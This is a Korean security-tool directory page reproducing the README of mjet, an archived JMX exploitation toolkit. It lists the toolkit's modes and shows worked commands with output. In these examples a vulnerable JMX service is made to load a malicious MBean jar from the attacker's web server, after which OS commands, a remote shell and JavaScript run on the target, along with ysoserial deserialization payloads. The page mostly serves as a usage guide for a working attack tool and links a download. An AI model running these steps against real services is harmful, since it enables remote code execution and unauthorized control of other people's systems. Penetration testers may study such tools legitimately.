Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
mjet — MOGWAI LABS JMX 익스플로잇 도구 키트 | Kitploit
도구/GitHubGitHub/mogwailabs/mjet
Payload GenerationExploitationPost-ExploitationPenetration TestingRed TeamingRemote Access ToolArchived
GitHubmogwailabs/mjet

mjet

MOGWAI LABS JMX 익스플로잇 도구 키트

저장소 보기
20547113년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

MOGWAI LABS의 MJET

MOGWAI LABS JMX 익스플로잇 툴킷

MJET는 siberas가 개발했지만 더 이상 활발히 유지보수되지 않는 sjet의 포크입니다. MJET는 원래 sjet 코드베이스의 대부분을 제공한 MOGWAI LABS 팀이 유지보수합니다.

MJET를 사용하면 안전하지 않게 구성된 JMX 서비스를 쉽게 익스플로잇할 수 있습니다. 추가 배경 정보는 여기와 여기에서 찾을 수 있습니다.

!!! 중요: 이 프로젝트는 더 이상 유지보수되지 않습니다

이 저장소는 더 이상 활발히 유지보수되지 않습니다. 대신 qtcs beanshooter를 사용하는 것을 권장합니다.

전제 조건

  • Jython 2.7
  • Ysoserial (JMX를 통한 역직렬화 취약점 악용용)
  • opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (대체 JMX 메시지 프로토콜(JMXMP) 지원용)

사용법

MJET는 argparse를 사용하는 CLI 인터페이스를 구현합니다:

jython mjet.py targetHost targetPort MODE password (modeOptions)

여기서

  • targetHost - 대상 IP 주소
  • targetPort - JMX가 실행 중인 대상 포트
  • MODE - 스크립트 모드
  • modeOptions - 선택한 모드에 대한 옵션

인증 지원 (JMX 인증이 활성화된 경우):

  • --jmxrole - 사용자 이름
  • --jmxpassword - 비밀번호

기타 선택적 인자:

  • --jmxmp - JMX-MP 사용 (추가 JAR 로드 필요)
  • --localhost_bypass - localhost 바이패스에서 프록시용 서비스 포트
  • --shell - 정의된 셸 사용
  • --rmiObjectName - JMX 엔드포인트의 RMI 이름

모드 및 modeOptions

  • install - 현재 대상에 페이로드 설치
    • password - 성공적인 설치 후 설정해야 하는 비밀번호
    • payload_url - 페이로드를 로드할 전체 URL
    • payload_port - 페이로드를 로드할 포트
  • uninstall - 현재 대상에서 페이로드 제거
  • changepw - 이미 배포된 페이로드의 비밀번호 변경
    • password - 설치된 MBean에 접근하기 위한 비밀번호
    • newpass - 새 비밀번호
  • command - targetHost에서 CMD 명령 실행
    • password - 설치된 MBean에 접근하기 위한 비밀번호
    • CMD - 실행할 명령
  • shell - targetHost에서 간단한 셸 시작 (java의 Runtime.exec()의 제한 사항 포함)
    • password - 설치된 MBean에 접근하기 위한 비밀번호
  • javascript - targetHost에서 자바스크립트 파일 FILENAME 실행
    • password - 설치된 MBean에 접근하기 위한 비밀번호
    • FILENAME - 실행할 자바스크립트
  • deserialize - 대상에 ysoserial 페이로드 전송
    • gadget - ysoserial에서 제공하는 gadget (예: CommonsCollections6)
    • cmd - 실행할 명령
  • webserver - MLET 웹 서버만 실행
    • payload_url - 페이로드를 로드할 전체 URL
    • payload_port - 페이로드를 로드할 포트

예제

취약한 JMX 서비스에 페이로드 MBean 설치하기

다음 예제에서 취약한 JMX 서비스는 10.165.188.23 포트 2222에서 실행되고, 공격자의 IP 주소는 10.165.188.1입니다. JMX 서비스는 공격자의 웹 서비스에 연결하여 페이로드 jar 파일을 다운로드합니다. MJET는 필요한 웹 서비스를 포트 8000에서 시작합니다.

MBean 설치가 성공하면 기본 비밀번호는 명령줄에서 제공한 비밀번호("super_secret")로 변경됩니다.

h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet> 

JMX 자격 증명으로 설치 (서버의 취약한 구성도 필요):

h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Linux 대상에서 'ls -la' 명령 실행:

페이로드가 설치된 후에는 이를 사용하여 대상에서 OS 명령을 실행할 수 있습니다.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

셸 모드로 실행

모든 명령에 대해 Java를 로드하고 싶지 않다면 "셸 모드"를 사용하여 제한된 명령 셸을 얻을 수 있습니다.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8


>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet> 

대상에서 JavaScript 페이로드 호출:

예제 스크립트 "javaproperties.js"는 취약한 서비스의 Java 속성을 표시합니다. 다음과 같이 호출할 수 있습니다:

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  6
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing script
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
sun.jnu.encoding=UTF-8
java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
com.sun.management.jmxremote.authenticate=false
java.vm.vendor=Oracle Corporation
sun.arch.data.model=64
...


[+] Done

비밀번호 변경

기존 비밀번호("super_secret")를 "this-is-the-new-password"로 변경:

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  7
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

대상에서 페이로드 MBean 제거

대상에서 페이로드 MBean 'MogwaiLabs'를 제거:

도구 다운로드